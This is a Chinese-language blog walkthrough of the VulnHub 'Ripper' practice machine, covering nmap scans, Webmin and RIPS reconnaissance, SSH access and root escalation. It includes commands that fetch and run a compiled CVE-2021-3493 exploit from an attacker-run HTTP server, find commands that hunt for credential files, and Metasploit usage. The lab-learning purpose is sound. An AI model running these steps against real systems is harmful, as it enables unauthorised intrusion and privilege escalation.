当前位置:网站首页>vulnhub之Ripper
vulnhub之Ripper
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap扫存活主机
1.半开扫描
nmap -sS ip
2.全开扫描
nmap -sT ip
3.基于ping的扫描
nmap -sP ip
4.基于arp的扫描
nmap -PR ip
5.无ping扫描
nmap -PN 192.168.152.130
二、服务版本探测
22,80还是常用的两个服务,10000端口开放了webmin
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin支持绝大多数的Unix系统,这些系统除了各种版本的linux以外还包括:AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。
三、信息收集
80端口没有对我们突破边界有用的信息
但是在10000端口我们找到了一个webmin的登录框
1.webmin的登录框
2.robots.txt文件
3.尝试解密
we scan php codes with rips
4.rips
RIPS 是一款不错的静态源代码分析工具,主要用来挖掘 PHP 程序的漏洞。而且是一款web界面的,访问rips开始使用。尝试去访问。
最终在80端口下我们看到了这个rips
四、内部系统信息泄露
五、ssh连接
这里尝试登录webmin后台结果不行。尝试利用ssh登录成功,
六、0day提权
由于在这个靶机发布之后,unbuntu出现了一个提权漏洞。所以我们可以直接利用。
漏洞编号:cve-2021-3493
1.上传编译执行
目标主机无编译环境,提前编译
gcc exploit.c -o exp
开启http服务
python3 -m http.server 80
下载
wget http://192.168.0.106/exp
给权
chmod 777 exp
执行
./exp
七、正常提权
1. firefox
又看到了一个火狐浏览器,鼓捣鼓捣没啥用。
2. 查找cubes相关文件
find / -user cubes -type f -exec ls -al {} \; 2>/dev/null
这条命令的{}是用来接收结果的
这个是用来转义;的
经过搜索,拿到了一个密码,猜测是cubes的
3.su成cubes
4.find搜索
查找和cubes相关的,并且过滤掉没用的
find / -user cubes -type f -exec ls -al {} \; 2>/dev/null |grep -v "proc"
在日志文件中我们发现了admin账号密码
5.登录webmin后台
因为我们拿到的是管理员的账号密码,又因为webmin是控制linux终端的web‘应用’,所以登录后已经拿到了最高权限。
八、msf
只是来熟悉一下用法,因为msf的rce模块也需要账号密码,但是有账号密码我们可以直接拿到管理员权限
msfconsole
search webmin
use 2
show options
设置好各个参数即可
这里也要设置
set ssl true
边栏推荐
- Phpcms prompt message page Jump showmessage
- The excel table is transferred to word, and the table does not exceed the edge paper range
- How to make others fear you
- After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
- 优化接口性能
- Gut | 香港中文大学于君组揭示吸烟改变肠道菌群并促进结直肠癌(不要吸烟)
- Programmers' entrepreneurial trap: taking private jobs
- Slam mapping and autonomous navigation simulation based on turnlebot3
- R语言使用aggregate函数计算dataframe数据分组聚合的均值(sum)、不设置na.rm计算的结果、如果分组中包含缺失值NA则计算结果也为NA
- Excel quick cross table copy and paste
猜你喜欢
The excel table is transferred to word, and the table does not exceed the edge paper range
Software testing weekly (issue 78): the more confident you are about the future, the more patient you are about the present.
机器学习 3.2 决策树模型 学习笔记(待补)
Viewing binary bin files with notepad++ editor
一文搞懂Go语言Context
Excel表格转到Word中,表格不超边缘纸张范围
Qt+VTK+OCCT读取IGES/STEP模型
PHP基础
GCC compilation process and dynamic link library and static link library
Gut | 香港中文大学于君组揭示吸烟改变肠道菌群并促进结直肠癌(不要吸烟)
随机推荐
利用Zabbix动态监控磁盘I/O
GCC compilation process and dynamic link library and static link library
R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
Xml的(DTD,xml解析,xml建模)
Unity3D学习笔记5——创建子Mesh
The world's most popular font editor FontCreator tool
(database authorization - redis) summary of unauthorized access vulnerabilities in redis
软件测试周刊(第78期):你对未来越有信心,你对现在越有耐心。
Excel快速跨表复制粘贴
C language AES encryption and decryption
libvirt 中体验容器
R language uses the aggregate function to calculate the mean value (sum) of dataframe data grouping aggregation without setting na The result of RM calculation. If the group contains the missing value
How to clean up v$rman_ backup_ job_ Details view reports error ora-02030
ftp登录时,报错“530 Login incorrect.Login failed”
Analysis of EPS electric steering system
R语言使用gridExtra包的grid.arrange函数将lattice包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
动态规划(区间dp)
C language log base zlog basic use
银泰百货点燃城市“夜经济”
After setting up ADG, instance 2 cannot start ora-29760: instance_ number parameter not specified